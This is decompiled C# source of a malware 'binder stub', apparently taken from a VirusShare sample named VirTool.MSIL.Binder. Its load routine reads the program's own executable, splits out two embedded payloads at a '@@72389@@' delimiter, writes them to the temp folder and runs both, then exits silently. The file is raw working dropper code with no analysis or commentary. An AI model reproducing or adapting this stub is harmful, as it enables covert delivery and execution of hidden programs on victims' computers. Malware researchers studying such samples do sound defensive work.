// Decompiled with JetBrains decompiler
// Type: _72389_binder_stub.Form1
// Assembly: 72389 binder stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E5FBFA50-04BA-4A19-BBFF-957CEB3D9064
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\VirTool.MSIL.Binder.a-cfc15cf897edd6e74a4676aa1811d693fee4fe424f04d2a4d3b5675f5198dccd.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;

namespace _72389_binder_stub
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private static List<WeakReference> __ENCList = new List<WeakReference>();
    private IContainer components;
    private const string FileSplit = "@@72389@@";

    [DebuggerNonUserCode]
    static Form1()
    {
    }

    [DebuggerNonUserCode]
    public Form1()
    {
      this.Load += new EventHandler(this.Form1_Load);
      lock (Form1.__ENCList)
        Form1.__ENCList.Add(new WeakReference((object) this));
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.SuspendLayout();
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(292, 266);
      this.Name = nameof (Form1);
      this.Text = nameof (Form1);
      this.ResumeLayout(false);
    }

    private void Form1_Load(object sender, EventArgs e)
    {
label_1:
      int num1;
      int num2;
      try
      {
        ProjectData.ClearProjectError();
        num1 = -2;
label_2:
        int num3 = 2;
        string tempPath = Path.GetTempPath();
label_3:
        num3 = 3;
        FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
label_4:
        num3 = 4;
        string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_5:
        num3 = 5;
        string str1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_6:
        num3 = 6;
        string str2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_7:
        num3 = 7;
        string str3 = Strings.Space(checked ((int) FileSystem.LOF(1)));
label_8:
        num3 = 8;
        FileSystem.FileGet(1, ref Expression);
label_9:
        num3 = 9;
        FileSystem.FileGet(1, ref str1);
label_10:
        num3 = 10;
        FileSystem.FileGet(1, ref str2);
label_11:
        num3 = 11;
        FileSystem.FileGet(1, ref str3);
label_12:
        num3 = 12;
        FileSystem.FileClose(1);
label_13:
        num3 = 13;
        string[] strArray = Strings.Split(Expression, "@@72389@@");
label_14:
        num3 = 14;
        FileSystem.FileOpen(3, tempPath + strArray[3], OpenMode.Binary, OpenAccess.ReadWrite);
label_15:
        num3 = 15;
        FileSystem.FilePut(3, strArray[1], -1L, false);
label_16:
        num3 = 16;
        FileSystem.FileClose(3);
label_17:
        num3 = 17;
        FileSystem.FileOpen(5, tempPath + strArray[4], OpenMode.Binary, OpenAccess.ReadWrite);
label_18:
        num3 = 18;
        FileSystem.FilePut(5, strArray[2], -1L, false);
label_19:
        num3 = 19;
        FileSystem.FileClose(5);
label_20:
        num3 = 20;
        Process.Start(tempPath + strArray[3]);
label_21:
        num3 = 21;
        Process.Start(tempPath + strArray[4]);
label_22:
        num3 = 22;
        this.Close();
        ProjectData.EndApp();
        goto label_29;
label_24:
        num2 = num3;
        switch (num1 > -2 ? num1 : 1)
        {
          case 1:
            int num4 = num2 + 1;
            num2 = 0;
            switch (num4)
            {
              case 1:
                goto label_1;
              case 2:
                goto label_2;
              case 3:
                goto label_3;
              case 4:
                goto label_4;
              case 5:
                goto label_5;
              case 6:
                goto label_6;
              case 7:
                goto label_7;
              case 8:
                goto label_8;
              case 9:
                goto label_9;
              case 10:
                goto label_10;
              case 11:
                goto label_11;
              case 12:
                goto label_12;
              case 13:
                goto label_13;
              case 14:
                goto label_14;
              case 15:
                goto label_15;
              case 16:
                goto label_16;
              case 17:
                goto label_17;
              case 18:
                goto label_18;
              case 19:
                goto label_19;
              case 20:
                goto label_20;
              case 21:
                goto label_21;
              case 22:
                goto label_22;
              case 23:
                goto label_29;
            }
            break;
        }
      }
      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
      {
        ProjectData.SetProjectError(ex);
        goto label_24;
      }
      throw ProjectData.CreateProjectError(-2146828237);
label_29:
      if (num2 == 0)
        return;
      ProjectData.ClearProjectError();
    }
  }
}
